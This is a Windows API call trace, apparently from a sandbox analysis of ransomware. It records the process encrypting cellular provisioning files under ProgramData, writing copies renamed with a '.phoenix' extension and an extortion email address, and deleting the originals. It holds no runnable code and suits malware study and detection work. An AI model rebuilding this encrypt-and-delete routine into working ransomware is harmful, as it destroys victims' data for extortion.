	[0253.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0253.658] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.658] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c2, lpOverlapped=0x0) returned 1
	[0253.666] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0253.666] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.667] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0253.667] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.667] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0253.667] CryptDestroyKey (hKey=0x151240) returned 1
	[0253.667] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0253.667] CryptDestroyKey (hKey=0x151100) returned 1
	[0253.667] CloseHandle (hObject=0x2d4) returned 1
	[0253.667] CloseHandle (hObject=0x2f4) returned 1
	[0253.668] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.669] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.669] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.670] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=732) returned 1
	[0253.670] CloseHandle (hObject=0x2f4) returned 1
	[0253.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.670] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.670] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.670] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.670] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0253.671] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0253.671] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.671] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dc, lpOverlapped=0x0) returned 1
	[0253.711] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0253.712] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.998] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0253.998] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.998] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0253.998] CryptDestroyKey (hKey=0x151600) returned 1
	[0253.998] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0253.998] CryptDestroyKey (hKey=0x151700) returned 1
	[0253.998] CloseHandle (hObject=0x2f4) returned 1
	[0253.998] CloseHandle (hObject=0x2d4) returned 1
	[0253.998] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.000] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.000] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.000] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=854) returned 1
	[0254.001] CloseHandle (hObject=0x2d4) returned 1
	[0254.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0254.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.001] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.001] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.001] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.001] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.001] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0254.001] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.001] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x356, lpOverlapped=0x0) returned 1
	[0254.012] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0254.012] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0254.013] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0254.013] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.013] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0254.013] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.013] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0254.013] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.013] CloseHandle (hObject=0x2d4) returned 1
	[0254.013] CloseHandle (hObject=0x2f4) returned 1
	[0254.014] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.015] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.015] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.015] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=722) returned 1
	[0254.015] CloseHandle (hObject=0x2f4) returned 1
	[0254.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.015] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.016] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.016] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.016] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.016] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0254.016] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.016] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d2, lpOverlapped=0x0) returned 1
	[0254.029] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.029] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.029] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0254.029] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.029] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.029] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.029] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.030] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.030] CloseHandle (hObject=0x2f4) returned 1
	[0254.030] CloseHandle (hObject=0x2d4) returned 1
	[0254.030] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.031] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.031] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.031] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=840) returned 1
	[0254.031] CloseHandle (hObject=0x2d4) returned 1
	[0254.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.032] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.032] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.032] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.032] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.032] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0254.032] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.032] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x348, lpOverlapped=0x0) returned 1
	[0254.066] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0254.066] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0254.067] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0254.067] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.067] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.067] CryptDestroyKey (hKey=0x151380) returned 1
